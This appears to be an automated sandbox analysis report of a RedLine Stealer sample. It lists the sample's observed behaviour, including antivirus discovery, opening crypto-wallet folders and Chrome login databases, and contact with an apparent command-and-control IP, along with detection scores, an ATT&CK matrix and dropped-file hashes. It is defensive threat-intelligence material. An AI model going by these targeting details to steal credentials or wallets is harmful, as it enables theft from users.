Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Source: 2MNB4UhUqR.exe, 00000002.00000003.364970944.000000000631C000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.388389171.000000000631C000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2MNB4UhUqR.exe, type: SAMPLE
Source: Yara match	File source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2MNB4UhUqR.exe PID: 2876, type: MEMORYSTR

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior
Source: C:\Users\user\Desktop\2MNB4UhUqR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior

Source: Yara match	File source: 2MNB4UhUqR.exe, type: SAMPLE
Source: Yara match	File source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2MNB4UhUqR.exe PID: 2876, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 2MNB4UhUqR.exe, type: SAMPLE
Source: Yara match	File source: 2.0.2MNB4UhUqR.exe.730000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.287744797.0000000000732000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 2MNB4UhUqR.exe PID: 2876, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	231 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Timestomp	Cached Domain Credentials	123 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
2MNB4UhUqR.exe	85%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
2MNB4UhUqR.exe	100%	Avira	HEUR/AGEN.1234943
2MNB4UhUqR.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.0.2MNB4UhUqR.exe.730000.0.unpack	100%	Avira	HEUR/AGEN.1234943		Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
https://api.ip.sb4	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
https://api.ip.sb/geoip	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnect	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	URL Reputation	safe
http://tempuri.org/0	0%	URL Reputation	safe
http://194.190.152.20:57105/	0%	Avira URL Cloud	safe
http://tempuri.org/t_oj	0%	Avira URL Cloud	safe
http://194.190.152.20:57105	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://194.190.152.20:57105/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	2MNB4UhUqR.exe	false		high
https://duckduckgo.com/chrome_newtab	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
https://duckduckgo.com/ac/?q=	tmp25A4.tmp.2.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.datacontract.org/2004/07/	2MNB4UhUqR.exe, 00000002.00000002.378024875.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb4	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	2MNB4UhUqR.exe	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp25A4.tmp.2.dr	false		high
http://schemas.xmlsoap.org/soap/envelope/D	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
http://tempuri.org/Endpoint/SetEnvironment	2MNB4UhUqR.exe, 00000002.00000002.378024875.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://194.190.152.20:57105	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.378513652.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.378024875.0000000002EF4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	2MNB4UhUqR.exe, 00000002.00000002.378513652.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.377323990.0000000002DE5000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmp25A4.tmp.2.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	2MNB4UhUqR.exe, 00000002.00000002.383669619.0000000004078000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.382773057.0000000003F4F000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.390545880.0000000007347000.00000004.00000800.00020000.00000000.sdmp, 2MNB4UhUqR.exe, 00000002.00000002.380535623.0000000003C53000.00000004.00000800.00020000.00000000.sdmp, tmp2379.tmp.2.dr, tmp233A.tmp.2.dr, tmp23D9.tmp.2.dr, tmp24D6.tmp.2.dr, tmp2535.tmp.2.dr, tmp2339.tmp.2.dr, tmp25D4.tmp.2.dr, tmp2438.tmp.2.dr, tmp2574.tmp.2.dr, tmp23A9.tmp.2.dr, tmp2477.tmp.2.dr, tmp25A4.tmp.2.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	2MNB4UhUqR.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/0	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp25A4.tmp.2.dr	false		high
http://tempuri.org/t_oj	2MNB4UhUqR.exe, 00000002.00000002.376326588.0000000002C7F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	2MNB4UhUqR.exe, 00000002.00000002.376088599.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
194.190.152.20	unknown	Russian Federation		41615	RSHB-ASRU	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	718009
Start date and time:	2022-10-07 05:01:08 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	2MNB4UhUqR.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/27@2/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 70 Number of non-executed functions: 6
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ctldl.windowsupdate.com
Execution Graph export aborted for target 2MNB4UhUqR.exe, PID 2876 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 2MNB4UhUqR.exe

Simulations

Behavior and APIs

Time	Type	Description
05:02:23	API Interceptor	60x Sleep call for process: 2MNB4UhUqR.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
RSHB-ASRU	w9d568i4Ia.exe	Get hash	malicious	Browse	194.190.152.128
	3pqdFTqin9.exe	Get hash	malicious	Browse	194.190.152.128
	nJX6vEzSO5.exe	Get hash	malicious	Browse	194.190.153.31
	X3JoqrBG6b.dll	Get hash	malicious	Browse	194.190.152.209
	Hlf35fELn8.exe	Get hash	malicious	Browse	194.190.152.209
	U6EbIncPHD.exe	Get hash	malicious	Browse	194.190.153.41

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2412
Entropy (8bit):	5.341108361394489
Encrypted:	false
SSDEEP:	48:MOfHK5HKXAHKdHKBSTHaAHKzvRYHKhQnoPtHoxHImHKhBHKoHaHZHAHxLHG1qHjY:vq5qXAqdqslqzJYqhQnoPtIxHbqLqo6n
MD5:	FD5B6B79D7A8AA2C5CF01ED612F1FDD6
SHA1:	F634F47927CD83D4A206F7DDD295889766DCFD9B
SHA-256:	03ACEDEDFE0AF3E490DA4C7617B83398B01A73F0449C061A762C8B7C59899C10
SHA-512:	13C9AC0344DA17514A4A5C2CE305FE342E169227B6DFCF2B17B5F673F4EC40CCD91689DE29941271136223CB97080A6F8C243852AF47C062F475C8180A12C41B
Malicious:	true
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\34957343ad5d84daee97a1affda91665\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp217D.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp21AD.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp223B.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp223C.tmp

Download File

Process:	C:\Users\user\Desktop\2MNB4UhUqR.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
